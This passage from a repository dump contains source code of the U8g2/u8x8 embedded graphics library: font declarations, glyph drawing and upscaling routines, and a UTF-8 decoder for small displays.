U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_2x2\");\nextern const uint8_t u8x8_font_open_iconic_embedded_2x2[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_2x2\");\nextern const uint8_t u8x8_font_open_iconic_play_2x2[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_2x2\");\nextern const uint8_t u8x8_font_open_iconic_thing_2x2[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_2x2\");\nextern const uint8_t u8x8_font_open_iconic_weather_2x2[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_2x2\");\nextern const uint8_t u8x8_font_open_iconic_arrow_4x4[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_4x4\");\nextern const uint8_t u8x8_font_open_iconic_check_4x4[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_4x4\");\nextern const uint8_t u8x8_font_open_iconic_embedded_4x4[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_4x4\");\nextern const uint8_t u8x8_font_open_iconic_play_4x4[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_4x4\");\nextern const uint8_t u8x8_font_open_iconic_thing_4x4[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_4x4\");\nextern const uint8_t u8x8_font_open_iconic_weather_4x4[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_4x4\");\nextern const uint8_t u8x8_font_open_iconic_arrow_8x8[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_8x8\");\nextern const uint8_t u8x8_font_open_iconic_check_8x8[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_8x8\");\nextern const uint8_t u8x8_font_open_iconic_embedded_8x8[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_8x8\");\nextern const uint8_t u8x8_font_open_iconic_play_8x8[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_8x8\");\nextern const uint8_t u8x8_font_open_iconic_thing_8x8[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_8x8\");\nextern const uint8_t u8x8_font_open_iconic_weather_8x8[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_8x8\");\nextern const uint8_t u8x8_font_profont29_2x3_f[] U8X8_FONT_SECTION(\"u8x8_font_profont29_2x3_f\");\nextern const uint8_t u8x8_font_profont29_2x3_r[] U8X8_FONT_SECTION(\"u8x8_font_profont29_2x3_r\");\nextern const uint8_t u8x8_font_profont29_2x3_n[] U8X8_FONT_SECTION(\"u8x8_font_profont29_2x3_n\");\nextern const uint8_t u8x8_font_artossans8_r[] U8X8_FONT_SECTION(\"u8x8_font_artossans8_r\");\nextern const uint8_t u8x8_font_artossans8_n[] U8X8_FONT_SECTION(\"u8x8_font_artossans8_n\");\nextern const uint8_t u8x8_font_artossans8_u[] U8X8_FONT_SECTION(\"u8x8_font_artossans8_u\");\nextern const uint8_t u8x8_font_artosserif8_r[] U8X8_FONT_SECTION(\"u8x8_font_artosserif8_r\");\nextern const uint8_t u8x8_font_artosserif8_n[] U8X8_FONT_SECTION(\"u8x8_font_artosserif8_n\");\nextern const uint8_t u8x8_font_artosserif8_u[] U8X8_FONT_SECTION(\"u8x8_font_artosserif8_u\");\nextern const uint8_t u8x8_font_chroma48medium8_r[] U8X8_FONT_SECTION(\"u8x8_font_chroma48medium8_r\");\nextern const uint8_t u8x8_font_chroma48medium8_n[] U8X8_FONT_SECTION(\"u8x8_font_chroma48medium8_n\");\nextern const uint8_t u8x8_font_chroma48medium8_u[] U8X8_FONT_SECTION(\"u8x8_font_chroma48medium8_u\");\nextern const uint8_t u8x8_font_saikyosansbold8_n[] U8X8_FONT_SECTION(\"u8x8_font_saikyosansbold8_n\");\nextern const uint8_t u8x8_font_saikyosansbold8_u[] U8X8_FONT_SECTION(\"u8x8_font_saikyosansbold8_u\");\nextern const uint8_t u8x8_font_torussansbold8_r[] U8X8_FONT_SECTION(\"u8x8_font_torussansbold8_r\");\nextern const uint8_t u8x8_font_torussansbold8_n[] U8X8_FONT_SECTION(\"u8x8_font_torussansbold8_n\");\nextern const uint8_t u8x8_font_torussansbold8_u[] U8X8_FONT_SECTION(\"u8x8_font_torussansbold8_u\");\nextern const uint8_t u8x8_font_victoriabold8_r[] U8X8_FONT_SECTION(\"u8x8_font_victoriabold8_r\");\nextern const uint8_t u8x8_font_victoriabold8_n[] U8X8_FONT_SECTION(\"u8x8_font_victoriabold8_n\");\nextern const uint8_t u8x8_font_victoriabold8_u[] U8X8_FONT_SECTION(\"u8x8_font_victoriabold8_u\");\nextern const uint8_t u8x8_font_victoriamedium8_r[] U8X8_FONT_SECTION(\"u8x8_font_victoriamedium8_r\");\nextern const uint8_t u8x8_font_victoriamedium8_n[] U8X8_FONT_SECTION(\"u8x8_font_victoriamedium8_n\");\nextern const uint8_t u8x8_font_victoriamedium8_u[] U8X8_FONT_SECTION(\"u8x8_font_victoriamedium8_u\");\nextern const uint8_t u8x8_font_courB18_2x3_f[] U8X8_FONT_SECTION(\"u8x8_font_courB18_2x3_f\");\nextern const uint8_t u8x8_font_courB18_2x3_r[] U8X8_FONT_SECTION(\"u8x8_font_courB18_2x3_r\");\nextern const uint8_t u8x8_font_courB18_2x3_n[] U8X8_FONT_SECTION(\"u8x8_font_courB18_2x3_n\");\nextern const uint8_t u8x8_font_courR18_2x3_f[] U8X8_FONT_SECTION(\"u8x8_font_courR18_2x3_f\");\nextern const uint8_t u8x8_font_courR18_2x3_r[] U8X8_FONT_SECTION(\"u8x8_font_courR18_2x3_r\");\nextern const uint8_t u8x8_font_courR18_2x3_n[] U8X8_FONT_SECTION(\"u8x8_font_courR18_2x3_n\");\nextern const uint8_t u8x8_font_courB24_3x4_f[] U8X8_FONT_SECTION(\"u8x8_font_courB24_3x4_f\");\nextern const uint8_t u8x8_font_courB24_3x4_r[] U8X8_FONT_SECTION(\"u8x8_font_courB24_3x4_r\");\nextern const uint8_t u8x8_font_courB24_3x4_n[] U8X8_FONT_SECTION(\"u8x8_font_courB24_3x4_n\");\nextern const uint8_t u8x8_font_courR24_3x4_f[] U8X8_FONT_SECTION(\"u8x8_font_courR24_3x4_f\");\nextern const uint8_t u8x8_font_courR24_3x4_r[] U8X8_FONT_SECTION(\"u8x8_font_courR24_3x4_r\");\nextern const uint8_t u8x8_font_courR24_3x4_n[] U8X8_FONT_SECTION(\"u8x8_font_courR24_3x4_n\");\nextern const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_f[] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_o_2x2_f\");\nextern const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_r[] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_o_2x2_r\");\nextern const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_n[] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_o_2x2_n\");\nextern const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_f[] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_r_2x2_f\");\nextern const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_r[] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_r_2x2_r\");\nextern const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_n[] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_r_2x2_n\");\nextern const uint8_t u8x8_font_inr21_2x4_f[] U8X8_FONT_SECTION(\"u8x8_font_inr21_2x4_f\");\nextern const uint8_t u8x8_font_inr21_2x4_r[] U8X8_FONT_SECTION(\"u8x8_font_inr21_2x4_r\");\nextern const uint8_t u8x8_font_inr21_2x4_n[] U8X8_FONT_SECTION(\"u8x8_font_inr21_2x4_n\");\nextern const uint8_t u8x8_font_inr33_3x6_f[] U8X8_FONT_SECTION(\"u8x8_font_inr33_3x6_f\");\nextern const uint8_t u8x8_font_inr33_3x6_r[] U8X8_FONT_SECTION(\"u8x8_font_inr33_3x6_r\");\nextern const uint8_t u8x8_font_inr33_3x6_n[] U8X8_FONT_SECTION(\"u8x8_font_inr33_3x6_n\");\nextern const uint8_t u8x8_font_inr46_4x8_f[] U8X8_FONT_SECTION(\"u8x8_font_inr46_4x8_f\");\nextern const uint8_t u8x8_font_inr46_4x8_r[] U8X8_FONT_SECTION(\"u8x8_font_inr46_4x8_r\");\nextern const uint8_t u8x8_font_inr46_4x8_n[] U8X8_FONT_SECTION(\"u8x8_font_inr46_4x8_n\");\nextern const uint8_t u8x8_font_inb21_2x4_f[] U8X8_FONT_SECTION(\"u8x8_font_inb21_2x4_f\");\nextern const uint8_t u8x8_font_inb21_2x4_r[] U8X8_FONT_SECTION(\"u8x8_font_inb21_2x4_r\");\nextern const uint8_t u8x8_font_inb21_2x4_n[] U8X8_FONT_SECTION(\"u8x8_font_inb21_2x4_n\");\nextern const uint8_t u8x8_font_inb33_3x6_f[] U8X8_FONT_SECTION(\"u8x8_font_inb33_3x6_f\");\nextern const uint8_t u8x8_font_inb33_3x6_r[] U8X8_FONT_SECTION(\"u8x8_font_inb33_3x6_r\");\nextern const uint8_t u8x8_font_inb33_3x6_n[] U8X8_FONT_SECTION(\"u8x8_font_inb33_3x6_n\");\nextern const uint8_t u8x8_font_inb46_4x8_f[] U8X8_FONT_SECTION(\"u8x8_font_inb46_4x8_f\");\nextern const uint8_t u8x8_font_inb46_4x8_r[] U8X8_FONT_SECTION(\"u8x8_font_inb46_4x8_r\");\nextern const uint8_t u8x8_font_inb46_4x8_n[] U8X8_FONT_SECTION(\"u8x8_font_inb46_4x8_n\");\nextern const uint8_t u8x8_font_pressstart2p_f[] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_f\");\nextern const uint8_t u8x8_font_pressstart2p_r[] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_r\");\nextern const uint8_t u8x8_font_pressstart2p_n[] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_n\");\nextern const uint8_t u8x8_font_pressstart2p_u[] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_u\");\nextern const uint8_t u8x8_font_pcsenior_f[] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_f\");\nextern const uint8_t u8x8_font_pcsenior_r[] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_r\");\nextern const uint8_t u8x8_font_pcsenior_n[] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_n\");\nextern const uint8_t u8x8_font_pcsenior_u[] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_u\");\nextern const uint8_t u8x8_font_pxplusibmcgathin_f[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_f\");\nextern const uint8_t u8x8_font_pxplusibmcgathin_r[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_r\");\nextern const uint8_t u8x8_font_pxplusibmcgathin_n[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_n\");\nextern const uint8_t u8x8_font_pxplusibmcgathin_u[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_u\");\nextern const uint8_t u8x8_font_pxplusibmcga_f[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_f\");\nextern const uint8_t u8x8_font_pxplusibmcga_r[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_r\");\nextern const uint8_t u8x8_font_pxplusibmcga_n[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_n\");\nextern const uint8_t u8x8_font_pxplusibmcga_u[] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_u\");\nextern const uint8_t u8x8_font_pxplustandynewtv_f[] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_f\");\nextern const uint8_t u8x8_font_pxplustandynewtv_r[] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_r\");\nextern const uint8_t u8x8_font_pxplustandynewtv_n[] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_n\");\nextern const uint8_t u8x8_font_pxplustandynewtv_u[] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_u\");\nextern const uint8_t u8x8_font_px437wyse700a_2x2_f[] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700a_2x2_f\");\nextern const uint8_t u8x8_font_px437wyse700a_2x2_r[] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700a_2x2_r\");\nextern const uint8_t u8x8_font_px437wyse700a_2x2_n[] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700a_2x2_n\");\nextern const uint8_t u8x8_font_px437wyse700b_2x2_f[] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700b_2x2_f\");\nextern const uint8_t u8x8_font_px437wyse700b_2x2_r[] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700b_2x2_r\");\nextern const uint8_t u8x8_font_px437wyse700b_2x2_n[] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700b_2x2_n\");\n\n/* end font list */\n\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif  /* _U8X8_H */\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_8x8.c",
    "content": "/*\n\n  u8x8_8x8.c\n  \n  font procedures, directly interfaces display procedures\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.    \n\n*/\n\n#include \"u8x8.h\"\n\n#if defined(ESP8266)\nuint8_t u8x8_pgm_read_esp(const uint8_t * addr) \n{\n    uint32_t bytes;\n    bytes = *(uint32_t*)((uint32_t)addr & ~3);\n    return ((uint8_t*)&bytes)[(uint32_t)addr & 3];\n}\n#endif\n\n\nvoid u8x8_SetFont(u8x8_t *u8x8, const uint8_t *font_8x8)\n{\n  u8x8->font = font_8x8;\n}\n\n/*\n Args:\n   u8x8: ptr to u8x8 structure\n   encoding: glyph for which the data is requested (must be between 0 and 255)\n   buf: pointer to 8 bytes\n*/\nstatic void u8x8_get_glyph_data(u8x8_t *u8x8, uint8_t encoding, uint8_t *buf, uint8_t tile_offset) U8X8_NOINLINE;\nstatic void u8x8_get_glyph_data(u8x8_t *u8x8, uint8_t encoding, uint8_t *buf, uint8_t tile_offset) \n{\n  uint8_t first, last, tiles, i;\n  uint16_t offset;\n  first = u8x8_pgm_read(u8x8->font+0);\n  last = u8x8_pgm_read(u8x8->font+1);\n  tiles = u8x8_pgm_read(u8x8->font+2);\t\t/* new 2019 format */\n  tiles *= u8x8_pgm_read(u8x8->font+3);\t/* new 2019 format */\n  \n  /* get the glyph bitmap from the font */\n  if ( first <= encoding && encoding <= last )\n  {\n    offset = encoding;\n    offset -= first;\n    offset *= tiles;\t\t/* new 2019 format */\n    offset += tile_offset;\t/* new 2019 format */\n    offset *= 8;\n    offset +=4;\t\t\t/* changed from 2 to 4, new 2019 format */\n    for( i = 0; i < 8; i++ )\n    {\n      buf[i] = u8x8_pgm_read(u8x8->font+offset);\n      offset++;\n    }\n  }\n  else\n  {\n    for( i = 0; i < 8; i++ )\n    {\n      buf[i] = 0;\n    }\n  }\n  \n  /* invert the bitmap if required */\n  if ( u8x8->is_font_inverse_mode )\n  {\n    for( i = 0; i < 8; i++ )\n    {\n      buf[i] ^= 255;\n    }\n  }\n  \n}\n\nvoid u8x8_DrawGlyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding)\n{\n  uint8_t th = u8x8_pgm_read(u8x8->font+2);\t\t/* new 2019 format */\n  uint8_t tv = u8x8_pgm_read(u8x8->font+3);\t/* new 2019 format */\n  uint8_t xx, tile;\n  uint8_t buf[8];\n  th += x;\n  tv += y;\n  tile = 0;\n  do\n  {\n    xx = x;\n    do\n    {\n      u8x8_get_glyph_data(u8x8, encoding, buf, tile);\n      u8x8_DrawTile(u8x8, xx, y, 1, buf);\n      tile++;\n      xx++;\n    } while( xx < th );\n    y++;\n  } while( y < tv );\n}\n\n\n/*\n  Source: http://graphics.stanford.edu/~seander/bithacks.html\n\tSection: Interleave bits by Binary Magic Numbers \n   Original codes is here:\n\t\tstatic const unsigned int B[] = {0x55555555, 0x33333333, 0x0F0F0F0F, 0x00FF00FF};\n\t\tstatic const unsigned int S[] = {1, 2, 4, 8};\n\n\t\tunsigned int x; // Interleave lower 16 bits of x and y, so the bits of x\n\t\tunsigned int y; // are in the even positions and bits from y in the odd;\n\t\tunsigned int z; // z gets the resulting 32-bit Morton Number.  \n\t\t\t\t// x and y must initially be less than 65536.\n\n\t\tx = (x | (x << S[3])) & B[3];\n\t\tx = (x | (x << S[2])) & B[2];\n\t\tx = (x | (x << S[1])) & B[1];\n\t\tx = (x | (x << S[0])) & B[0];\n\n\t\ty = (y | (y << S[3])) & B[3];\n\t\ty = (y | (y << S[2])) & B[2];\n\t\ty = (y | (y << S[1])) & B[1];\n\t\ty = (y | (y << S[0])) & B[0];\n\n\t\tz = x | (y << 1);\n*/\nuint16_t u8x8_upscale_byte(uint8_t x) \n{\n\tuint16_t y = x;\n\ty |= (y << 4);\t\t// x = (x | (x << S[2])) & B[2];\n\ty &= 0x0f0f;\n\ty |= (y << 2);\t\t// x = (x | (x << S[1])) & B[1];\n\ty &= 0x3333;\n\ty |= (y << 1);\t\t// x = (x | (x << S[0])) & B[0];\n\ty &= 0x5555;\n  \n\ty |= (y << 1);\t\t// z = x | (y << 1);\n\treturn y;\n}\n\nstatic void u8x8_upscale_buf(uint8_t *src, uint8_t *dest) U8X8_NOINLINE;\nstatic void u8x8_upscale_buf(uint8_t *src, uint8_t *dest)\n{\n  uint8_t i = 4;  \n  do \n  {\n    *dest++ = *src;\n    *dest++ = *src++;\n    i--;\n  } while( i > 0 );\n}\n\nstatic void u8x8_draw_2x2_subglyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding, uint8_t tile)\n{\n  uint8_t i;\n  uint16_t t;\n  uint8_t buf[8];\n  uint8_t buf1[8];\n  uint8_t buf2[8];\n  u8x8_get_glyph_data(u8x8, encoding, buf, tile);\n  for( i = 0; i < 8; i ++ )\n  {\n      t = u8x8_upscale_byte(buf[i]);\n      buf1[i] = t >> 8;\n      buf2[i] = t & 255;\n  }\n  u8x8_upscale_buf(buf2, buf);\n  u8x8_DrawTile(u8x8, x, y, 1, buf);\n  \n  u8x8_upscale_buf(buf2+4, buf);\n  u8x8_DrawTile(u8x8, x+1, y, 1, buf);\n  \n  u8x8_upscale_buf(buf1, buf);\n  u8x8_DrawTile(u8x8, x, y+1, 1, buf);\n  \n  u8x8_upscale_buf(buf1+4, buf);\n  u8x8_DrawTile(u8x8, x+1, y+1, 1, buf);  \n}\n\n\nvoid u8x8_Draw2x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding)\n{\n  uint8_t th = u8x8_pgm_read(u8x8->font+2);\t\t/* new 2019 format */\n  uint8_t tv = u8x8_pgm_read(u8x8->font+3);\t/* new 2019 format */\n  uint8_t xx, tile;\n  th *= 2;\n  th += x;\n  tv *= 2;\n  tv += y;\n  tile = 0;\n  do\n  {\n    xx = x;\n    do\n    {\n      u8x8_draw_2x2_subglyph(u8x8, xx, y, encoding, tile);\n      tile++;\n      xx+=2;\n    } while( xx < th );\n    y+=2;\n  } while( y < tv );  \n}\n\n/* https://github.com/olikraus/u8g2/issues/474 */\nstatic void u8x8_draw_1x2_subglyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding, uint8_t tile)\n{\n  uint8_t i;\n  uint16_t t;\n  uint8_t buf[8];\n  uint8_t buf1[8];\n  uint8_t buf2[8];\n  u8x8_get_glyph_data(u8x8, encoding, buf, tile);\n  for( i = 0; i < 8; i ++ )\n  {\n      t = u8x8_upscale_byte(buf[i]);\n      buf1[i] = t >> 8;\n      buf2[i] = t & 255;\n  }\n  u8x8_DrawTile(u8x8, x,   y, 1, buf2);\n  u8x8_DrawTile(u8x8, x, y+1, 1, buf1);\n}\n\nvoid u8x8_Draw1x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding)\n{\n  uint8_t th = u8x8_pgm_read(u8x8->font+2);\t\t/* new 2019 format */\n  uint8_t tv = u8x8_pgm_read(u8x8->font+3);\t/* new 2019 format */\n  uint8_t xx, tile;\n  th += x;\n  tv *= 2;\n  tv += y;\n  tile = 0;\n  do\n  {\n    xx = x;\n    do\n    {\n      u8x8_draw_1x2_subglyph(u8x8, xx, y, encoding, tile);\n      tile++;\n      xx++;\n    } while( xx < th );\n    y+=2;\n  } while( y < tv );  \n}\n\n/*\nsource: https://en.wikipedia.org/wiki/UTF-8\nBits\tfrom \t\tto\t\t\tbytes\tByte 1 \t\tByte 2 \t\tByte 3 \t\tByte 4 \t\tByte 5 \t\tByte 6\n  7 \tU+0000 \t\tU+007F \t\t1 \t\t0xxxxxxx\n11 \tU+0080 \t\tU+07FF \t\t2 \t\t110xxxxx \t10xxxxxx\n16 \tU+0800 \t\tU+FFFF \t\t3 \t\t1110xxxx \t10xxxxxx \t10xxxxxx\n21 \tU+10000 \tU+1FFFFF \t4 \t\t11110xxx \t10xxxxxx \t10xxxxxx \t10xxxxxx\n26 \tU+200000 \tU+3FFFFFF \t5 \t\t111110xx \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx\n31 \tU+4000000 \tU+7FFFFFFF \t6 \t\t1111110x \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx  \n\n\n*/\n\n/* reset the internal state machine */\nvoid u8x8_utf8_init(u8x8_t *u8x8)\n{\n  u8x8->utf8_state = 0;\t/* also reset during u8x8_SetupDefaults() */\n}\n\nuint16_t u8x8_ascii_next(U8X8_UNUSED u8x8_t *u8x8, uint8_t b)\n{\n  if ( b == 0 || b == '\\n' ) /* '\\n' terminates the string to support the string list procedures */\n    return 0x0ffff;\t/* end of string detected*/\n  return b;\n}\n\n/*\n  pass a byte from an utf8 encoded string to the utf8 decoder state machine\n  returns \n    0x0fffe: no glyph, just continue\n    0x0ffff: end of string\n    anything else: The decoded encoding\n*/\nuint16_t u8x8_utf8_next(u8x8_t *u8x8, uint8_t b)\n{\n  if ( b == 0 || b == '\\n' )\t/* '\\n' terminates the string to support the string list procedures */\n    return 0x0ffff;\t/* end of string detected, pending UTF8 is discarded */\n  if ( u8x8->utf8_state == 0 )\n  {\n    if ( b >= 0xfc )\t/* 6 byte sequence */\n    {\n      u8x8->utf8_state = 5;\n      b &= 1;\n    }\n    else if ( b >= 0xf8 )\n    {\n      u8x8->utf8_state = 4;\n      b &= 3;\n    }\n    else if ( b >= 0xf0 )\n    {\n      u8x8->utf8_state = 3;\n      b &= 7;      \n    }\n    else if ( b >= 0xe0 )\n    {\n      u8x8->utf8_state = 2;\n      b &= 15;\n    }\n    else if ( b >= 0xc0 )\n    {\n      u8x8->utf8_state = 1;\n      b &= 0x01f;\n    }\n    else\n    {\n      /* do nothing, just use the value as encoding */\n      return b;\n    }\n    u8x8->encoding = b;\n    return 0x0fffe;\n  }\n  else\n  {\n    u8x8->utf8_state--;\n    /* The case b < 0x080 (an illegal UTF8 encoding) is not checked here. */\n    u8x8->encoding<<=6;\n    b &= 0x03f;\n    u8x8->encoding |= b;\n    if ( u8x8->utf8_state != 0 )\n      return 0x0fffe;\t/* nothing to do yet */\n  }\n  return u8x8->encoding;\n}\n\n\n\nstatic uint8_t u8x8_draw_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) U8X8_NOINLINE;\nstatic uint8_t u8x8_draw_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  uint16_t e;\n  uint8_t cnt = 0;\n  uint8_t th = u8x8_pgm_read(u8x8->font+2);\t\t/* new 2019 format */\n\n  u8x8_utf8_init(u8x8);\n  for(;;)\n  {\n    e = u8x8->next_cb(u8x8, (uint8_t)*s);\n    if ( e == 0x0ffff )\n      break;\n    s++;\n    if ( e != 0x0fffe )\n    {\n      u8x8_DrawGlyph(u8x8, x, y, e);\n      x+=th;\n      cnt++;\n    }\n  }\n  return cnt;\n}\n\n\nuint8_t u8x8_DrawString(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  u8x8->next_cb = u8x8_ascii_next;\n  return u8x8_draw_string(u8x8, x, y, s);\n}\n\nuint8_t u8x8_DrawUTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  u8x8->next_cb = u8x8_utf8_next;\n  return u8x8_draw_string(u8x8, x, y, s);\n}\n\n\n\nstatic uint8_t u8x8_draw_2x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) U8X8_NOINLINE;\nstatic uint8_t u8x8_draw_2x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  uint16_t e;\n  uint8_t cnt = 0;\n  uint8_t th = u8x8_pgm_read(u8x8->font+2);\t/* new 2019 format */\n  \n  th <<= 1;\n  \n  u8x8_utf8_init(u8x8);\n  for(;;)\n  {\n    e = u8x8->next_cb(u8x8, (uint8_t)*s);\n    if ( e == 0x0ffff )\n      break;\n    s++;\n    if ( e != 0x0fffe )\n    {\n      u8x8_Draw2x2Glyph(u8x8, x, y, e);\n      x+=th;\n      cnt++;\n    }\n  }\n  return cnt;\n}\n\n\nuint8_t u8x8_Draw2x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  u8x8->next_cb = u8x8_ascii_next;\n  return u8x8_draw_2x2_string(u8x8, x, y, s);\n}\n\nuint8_t u8x8_Draw2x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  u8x8->next_cb = u8x8_utf8_next;\n  return u8x8_draw_2x2_string(u8x8, x, y, s);\n}\n\n\n\nstatic uint8_t u8x8_draw_1x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) U8X8_NOINLINE;\nstatic uint8_t u8x8_draw_1x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{  \n  uint16_t e;\n  uint8_t cnt = 0;\n  uint8_t th = u8x8_pgm_read(u8x8->font+2);\t/* new 2019 format */\n  u8x8_utf8_init(u8x8);\n  for(;;)\n  {\n    e = u8x8->next_cb(u8x8, (uint8_t)*s);\n    if ( e == 0x0ffff )\n      break;\n    s++;\n    if ( e != 0x0fffe )\n    {\n      u8x8_Draw1x2Glyph(u8x8, x, y, e);\n      x+=th;\n      cnt++;\n    }\n  }\n  return cnt;\n}\n\n\nuint8_t u8x8_Draw1x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  u8x8->next_cb = u8x8_ascii_next;\n  return u8x8_draw_1x2_string(u8x8, x, y, s);\n}\n\nuint8_t u8x8_Draw1x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s)\n{\n  u8x8->next_cb = u8x8_utf8_next;\n  return u8x8_draw_1x2_string(u8x8, x, y, s);\n}\n\n\n\nuint8_t u8x8_GetUTF8Len(u8x8_t *u8x8, const char *s)\n{\n  uint16_t e;\n  uint8_t cnt = 0;\n  u8x8_utf8_init(u8x8);\n  for(;;)\n  {\n    e = u8x8_utf8_next(u8x8, *s);\n    if ( e == 0x0ffff )\n      break;\n    s++;\n    if ( e != 0x0fffe )\n      cnt++;\n  }\n  return cnt;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_byte.c",
    "content": "/*\n\n  u8x8_byte.c \n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  